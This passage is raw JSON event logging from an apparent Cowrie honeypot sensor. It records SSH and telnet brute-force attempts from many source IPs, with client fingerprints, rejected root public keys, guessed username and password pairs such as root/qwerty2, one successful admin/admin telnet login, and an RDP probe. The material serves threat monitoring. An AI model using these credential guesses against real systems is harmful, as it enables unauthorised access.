sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:27.692727Z","src_ip":"103.173.227.57","session":"580f97e6bc0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19701970","message":"login attempt [root/19701970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:28.429013Z","src_ip":"103.173.227.57","session":"580f97e6bc0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:29.680510Z","src_ip":"103.173.227.57","session":"580f97e6bc0d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:55.304136Z","src_ip":"147.45.50.171","session":"30dafadfb016","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:35:55.352573Z","src_ip":"147.45.50.171","session":"30dafadfb016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":37804,"dst_ip":"10.17.0.5","dst_port":22,"session":"176f88f08520","protocol":"ssh","message":"New connection: 62.133.63.178:37804 (10.17.0.5:22) [session: 176f88f08520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:01.918366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:01.924328Z","src_ip":"62.133.63.178","session":"176f88f08520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:02.046026Z","src_ip":"62.133.63.178","session":"176f88f08520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty2","message":"login attempt [root/qwerty2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:02.405574Z","src_ip":"62.133.63.178","session":"176f88f08520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:03.526296Z","src_ip":"62.133.63.178","session":"176f88f08520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49952,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb669a3f2bd2","protocol":"ssh","message":"New connection: 167.172.81.52:49952 (159.203.135.109:22) [session: cb669a3f2bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:22.163710Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:22.167720Z","src_ip":"167.172.81.52","session":"cb669a3f2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:22.170953Z","src_ip":"167.172.81.52","session":"cb669a3f2bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":56266,"dst_ip":"159.203.135.109","dst_port":22,"session":"b534a0ada5c6","protocol":"ssh","message":"New connection: 80.94.92.184:56266 (159.203.135.109:22) [session: b534a0ada5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:35.848696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:36.079951Z","src_ip":"80.94.92.184","session":"b534a0ada5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:36.083950Z","src_ip":"80.94.92.184","session":"b534a0ada5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:37.137028Z","src_ip":"80.94.92.184","session":"b534a0ada5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:36:38.405864Z","src_ip":"80.94.92.184","session":"b534a0ada5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":46330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cb9d7f40a47","protocol":"ssh","message":"New connection: 147.45.197.250:46330 (10.17.0.5:22) [session: 2cb9d7f40a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:11.613270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:11.618510Z","src_ip":"147.45.197.250","session":"2cb9d7f40a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:11.711090Z","src_ip":"147.45.197.250","session":"2cb9d7f40a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789n","message":"login attempt [root/123456789n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:11.989232Z","src_ip":"147.45.197.250","session":"2cb9d7f40a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:13.085064Z","src_ip":"147.45.197.250","session":"2cb9d7f40a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":44704,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd0a30de7cf5","protocol":"ssh","message":"New connection: 69.6.234.27:44704 (159.203.135.109:22) [session: dd0a30de7cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:40.887767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:40.892222Z","src_ip":"69.6.234.27","session":"dd0a30de7cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:40.965282Z","src_ip":"69.6.234.27","session":"dd0a30de7cf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qwer1234","message":"login attempt [root/!qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:41.290643Z","src_ip":"69.6.234.27","session":"dd0a30de7cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:42.367541Z","src_ip":"69.6.234.27","session":"dd0a30de7cf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.69.130","src_port":60022,"dst_ip":"10.17.0.5","dst_port":22,"session":"919fadbbd423","protocol":"ssh","message":"New connection: 74.48.69.130:60022 (10.17.0.5:22) [session: 919fadbbd423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:48.931701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:48.936386Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.004738Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:9b:4d:df:ce:7e:0b:11:06:10:cc:af:e5:27:74:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx7WYGh0jdSfqm8EObMAVjnToQWsPzYvgpRlGupMG5MjhYnjl5L8w2KPnC/y0B1lq00MKgvo7cloCP86dc4iHmhbS9k4H1jItrcyvHPZEGTYtGyTQsDoxdbe6+xhRIdbdLxz1h7JhfXXrMrgalr3y5VQ1FbPARXDCyz932wensxxQr4hTH+DYiNPQZD7q6hlpzaIUfPpUrR3tjC8guWC1WKgGVfWUcofVjsXmZkQ+KncNbP8WyHc1WXhncYIAsI6VCldoYWWMGbSt/rjWHUyrSl73rmqR8I0ICqBDGuD01CHHJg+EXUpeUkQdwhlj/P1wZmm9S6htPgUUEhQRP3y4v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:9b:4d:df:ce:7e:0b:11:06:10:cc:af:e5:27:74:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.321053Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:9b:4d:df:ce:7e:0b:11:06:10:cc:af:e5:27:74:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx7WYGh0jdSfqm8EObMAVjnToQWsPzYvgpRlGupMG5MjhYnjl5L8w2KPnC/y0B1lq00MKgvo7cloCP86dc4iHmhbS9k4H1jItrcyvHPZEGTYtGyTQsDoxdbe6+xhRIdbdLxz1h7JhfXXrMrgalr3y5VQ1FbPARXDCyz932wensxxQr4hTH+DYiNPQZD7q6hlpzaIUfPpUrR3tjC8guWC1WKgGVfWUcofVjsXmZkQ+KncNbP8WyHc1WXhncYIAsI6VCldoYWWMGbSt/rjWHUyrSl73rmqR8I0ICqBDGuD01CHHJg+EXUpeUkQdwhlj/P1wZmm9S6htPgUUEhQRP3y4v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.327612Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:9a:e3:d2:f7:60:c0:fe:7e:b0:94:54:1a:cf:96:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTwHTy4hDwyKGBapgd+Tc09riLMx5D7zAqN50RwzOzhzRsVaFTb4y/JKAvmaJwYHW6QXH1X2dKLWgEKhVlpnxzr+RLImHfgBF1pqY6o0pHhtWpDuEBINnjHJk40utJ+XcYnSMZrbgLGoZjVoeuFbEjAgLjk04yT++l+Dt4d/ppqYzTaPUSk1QkGqta2lP14w/R+uY+DwodI9mzN35M5DLny8Pwk0bgaRWHEafcp9sY/YjOS6fFey0oEYW/OWdsb6xKz//jrlQcUcQCGJDYIrJxZdafTQPQ0NpjOL2ReOTzAVLT1gr8u3o/0YlcYgk0Z9VmG4VCrtP6oeaBrun7pydStj3CXSKncEPPkp/JzSANyJ/aOwz6gu8Cwtx6DU07uYn0zjfnO++xFTma6dGbJ8OcnZ/heWyIF9L0nwOvTuXNwHFSITbXW3C/FZRvYC+laKe16KBcEHsLvQkMqH+MKJGQpgx5CiYQsa3Chk7YZELa8g0q7yQnaLjSjEuIqM2xAJ2v/B03ZGWjouClQqMuTj7fb6PGDqSeO3e0GaqVz8TUOz1z2oPUL+pWkZe0xU6rhezFCs2XfVhcM0GudeycrX4yEho8c/JcfUEdTMTIbRuJQrU1ZsOrqn7cb/sHJ/fRG9fBR/XK5YzA2F6hTcxbcmuArJ/46PB4nmPM+w+sXGxI2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:9a:e3:d2:f7:60:c0:fe:7e:b0:94:54:1a:cf:96:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.395821Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:9a:e3:d2:f7:60:c0:fe:7e:b0:94:54:1a:cf:96:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTwHTy4hDwyKGBapgd+Tc09riLMx5D7zAqN50RwzOzhzRsVaFTb4y/JKAvmaJwYHW6QXH1X2dKLWgEKhVlpnxzr+RLImHfgBF1pqY6o0pHhtWpDuEBINnjHJk40utJ+XcYnSMZrbgLGoZjVoeuFbEjAgLjk04yT++l+Dt4d/ppqYzTaPUSk1QkGqta2lP14w/R+uY+DwodI9mzN35M5DLny8Pwk0bgaRWHEafcp9sY/YjOS6fFey0oEYW/OWdsb6xKz//jrlQcUcQCGJDYIrJxZdafTQPQ0NpjOL2ReOTzAVLT1gr8u3o/0YlcYgk0Z9VmG4VCrtP6oeaBrun7pydStj3CXSKncEPPkp/JzSANyJ/aOwz6gu8Cwtx6DU07uYn0zjfnO++xFTma6dGbJ8OcnZ/heWyIF9L0nwOvTuXNwHFSITbXW3C/FZRvYC+laKe16KBcEHsLvQkMqH+MKJGQpgx5CiYQsa3Chk7YZELa8g0q7yQnaLjSjEuIqM2xAJ2v/B03ZGWjouClQqMuTj7fb6PGDqSeO3e0GaqVz8TUOz1z2oPUL+pWkZe0xU6rhezFCs2XfVhcM0GudeycrX4yEho8c/JcfUEdTMTIbRuJQrU1ZsOrqn7cb/sHJ/fRG9fBR/XK5YzA2F6hTcxbcmuArJ/46PB4nmPM+w+sXGxI2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.400310Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:5f:90:1b:2e:05:2f:59:e1:33:3f:9a:05:cb:fa:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIuL3LC2Z+FHTeIkX27uCTIv/LIsyBANGOt3ihaHhBt5LxeMN4zQIQYPApy+HL5kTBx361NCcpyTSaT0zlDEbJPRyXFY+MtVcY15HOJXDBvEfa2w4FCYNfXcSqkP3sgjugf/OI7j2Wj5COL/hG9O8QSAEYBtpkJRpcSOwzhaGmr1Z6q+zm61Js4TsIyJgIhmapXkNkyU0mdECK7BeHYA8JmGcG9vGfBokAX2hoIucRPoS+uWu7gpSGwPcU1F0hi+ID7xGfQADnJ2VeldD5OpiCL6R404c8Hrna+yzDYdcfyu0gqwHHD4QUnTTTvrhxjDHH5WWxVssdr1ht4gvUjQuyYgREENx558gGxuLIG6tpmnH0w6jkoQEAFC6FpGpOI5MujZLpd181LRf44Tqd9iYHPR+RVAtshlr0JDh0RsDtlBPIDDsRlCu+y+GtbEiMOUqLUSAZb4S9vokVKEki1rQpUE9IZWbPFzMItdH4Vx/vowYICEaYMvjaRsrsEWoi+fc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:5f:90:1b:2e:05:2f:59:e1:33:3f:9a:05:cb:fa:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.468233Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:5f:90:1b:2e:05:2f:59:e1:33:3f:9a:05:cb:fa:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIuL3LC2Z+FHTeIkX27uCTIv/LIsyBANGOt3ihaHhBt5LxeMN4zQIQYPApy+HL5kTBx361NCcpyTSaT0zlDEbJPRyXFY+MtVcY15HOJXDBvEfa2w4FCYNfXcSqkP3sgjugf/OI7j2Wj5COL/hG9O8QSAEYBtpkJRpcSOwzhaGmr1Z6q+zm61Js4TsIyJgIhmapXkNkyU0mdECK7BeHYA8JmGcG9vGfBokAX2hoIucRPoS+uWu7gpSGwPcU1F0hi+ID7xGfQADnJ2VeldD5OpiCL6R404c8Hrna+yzDYdcfyu0gqwHHD4QUnTTTvrhxjDHH5WWxVssdr1ht4gvUjQuyYgREENx558gGxuLIG6tpmnH0w6jkoQEAFC6FpGpOI5MujZLpd181LRf44Tqd9iYHPR+RVAtshlr0JDh0RsDtlBPIDDsRlCu+y+GtbEiMOUqLUSAZb4S9vokVKEki1rQpUE9IZWbPFzMItdH4Vx/vowYICEaYMvjaRsrsEWoi+fc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:37:49.472094Z","src_ip":"74.48.69.130","session":"919fadbbd423","protocol":"ssh"}
